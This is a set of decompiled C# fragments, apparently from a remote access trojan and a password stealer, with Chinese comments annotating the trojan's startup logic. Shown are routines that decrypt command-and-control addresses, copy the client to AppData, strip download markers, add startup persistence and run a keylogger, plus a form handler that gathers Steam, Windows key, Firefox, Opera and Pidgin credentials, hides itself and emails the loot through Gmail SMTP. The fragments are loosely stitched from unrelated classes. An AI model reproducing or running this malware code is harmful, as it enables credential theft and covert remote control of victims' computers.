// Token: 0x06000135 RID: 309 RVA: 0x00002923 File Offset: 0x00000B23 public GClass2() { GClass2.smethod_2(this, GClass2.smethod_1(new GClass2.GClass3())); GClass2.smethod_3(this, false); GClass2.smethod_4(this, Color.White); GClass2.smethod_6(this, GClass2.smethod_5("Segoe UI", 8f)); }
// Token: 0x060005BB RID: 1467 private static void smethod_2() { //判断判断互斥体是否多开,有则失去连接,并且返回 if (!GClass2.smethod_0(GClass35.string_6)) { GClass0.Disconnect = true; } if (GClass0.Disconnect) { return; } //解密Key GClass18.smethod_0(GClass35.string_2); //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线) Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1)); //解密远程文件下载路径 %AppData%/Subdir/client.exe GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5); //geoip信息获取ip地理位置国家等信息 GClass34.smethod_0(); //判断上线地址是否失败 if (Class10.gclass25_0.IsEmpty) { GClass0.Disconnect = true; } if (GClass0.Disconnect) { return; } //删除当前目录下的后缀为:Zone.Identifier GClass4.smethod_2(GClass0.CurrentPath); //判断当前目录是否是下载目录如果不是则进入 if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath)) { //互斥体存在则关闭 GClass2.smethod_1(); //运行下载路径的文件 GClass13.smethod_0(Class10.client_0); return; } //用户状态更新线程 五秒更新一次 GClass3.smethod_2(); //添加程序到用户启动项 if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1()) { GClass0.AddToStartupFailed = true; } //添加并初始化实体类 Class10.smethod_1(); if (GClass35.bool_3) { if (Class10.threadStart_0 == null) { Class10.threadStart_0 = new ThreadStart(Class10.smethod_9); } new Thread(Class10.threadStart_0).Start(); return; } }
// Token: 0x060005B9 RID: 1465 private static void smethod_0() { GClass17.smethod_29(); if (GClass17.unsafeStreamCodec_0 != null) { GClass17.unsafeStreamCodec_0.Dispose(); } if (Keylogger.Instance != null) { Keylogger.Instance.Dispose(); } if (Class10.applicationContext_0 != null) { Class10.applicationContext_0.ExitThread(); } GClass2.smethod_1(); }
// Token: 0x06000071 RID: 113 RVA: 0x00004590 File Offset: 0x00002790 private void Form1_Load(object sender, EventArgs e) { Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\firefox.exe"; string text = this.method_0(); string[] array = text.Split(new char[] { '^' }); string text2 = this.method_3(array[0], "Deceptiveisgay", true); string password = this.method_3(array[1], "Deceptiveisgay", true); string left = array[2]; if (Operators.CompareString(left, "1", false) == 0) { try { this.method_4(); } catch (Exception ex) { } } TextBox textBox = this.TextBox1; textBox.Text = textBox.Text + ">>>>>>>>>>Steam<<<<<<<<<<" + Environment.NewLine; try { textBox = this.TextBox1; textBox.Text = textBox.Text + "Username: "******"\r\n"; textBox = this.TextBox1; textBox.Text += "\r\n"; textBox = this.TextBox1; textBox.Text = textBox.Text + ">>>>>>>>>>Windows Key<<<<<<<<<<" + Environment.NewLine; textBox = this.TextBox1; textBox.Text += Class9.smethod_0(); textBox = this.TextBox1; textBox.Text += "\r\n"; try { this.method_6(); } catch (Exception ex3) { } textBox = this.TextBox1; textBox.Text += "\r\n"; this.TextBox1.Text = this.TextBox1.Text + Environment.NewLine + ">>>>>>>>>>FireFox<<<<<<<<<<"; try { this.method_5(); } catch (Exception ex4) { } try { Class4.smethod_0(); } catch (Exception ex5) { } textBox = this.TextBox1; textBox.Text += "\r\n"; textBox = this.TextBox1; textBox.Text = textBox.Text + ">>>>>>>>>>Opera<<<<<<<<<<" + Environment.NewLine; try { GClass1 gclass = new GClass1(); gclass.method_0(); } catch (Exception ex6) { } textBox = this.TextBox1; textBox.Text += "\r\n"; textBox = this.TextBox1; textBox.Text = textBox.Text + ">>>>>>>>>>Pidgin<<<<<<<<<<" + Environment.NewLine; try { textBox = this.TextBox1; textBox.Text = Conversions.ToString(Operators.AddObject(textBox.Text, GClass2.smethod_1())); } catch (Exception ex7) { } textBox = this.TextBox1; textBox.Text += "\r\n"; this.Visible = false; this.Hide(); this.ShowInTaskbar = false; MailMessage mailMessage = new MailMessage(); SmtpClient smtpClient = new SmtpClient(); smtpClient.Credentials = new NetworkCredential(text2, password); smtpClient.Port = 587; smtpClient.Host = "smtp.gmail.com"; smtpClient.EnableSsl = true; mailMessage = new MailMessage(); try { mailMessage.To.Add(text2); mailMessage.From = new MailAddress("*****@*****.**", "New Logs Received!", Encoding.UTF8); mailMessage.Subject = Class1.Class0_0.Name + " " + Conversions.ToString(DateTime.Now) + ":"; mailMessage.Body = this.TextBox1.Text; mailMessage.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure; smtpClient.Send(mailMessage); } catch (Exception ex8) { } Application.Exit(); }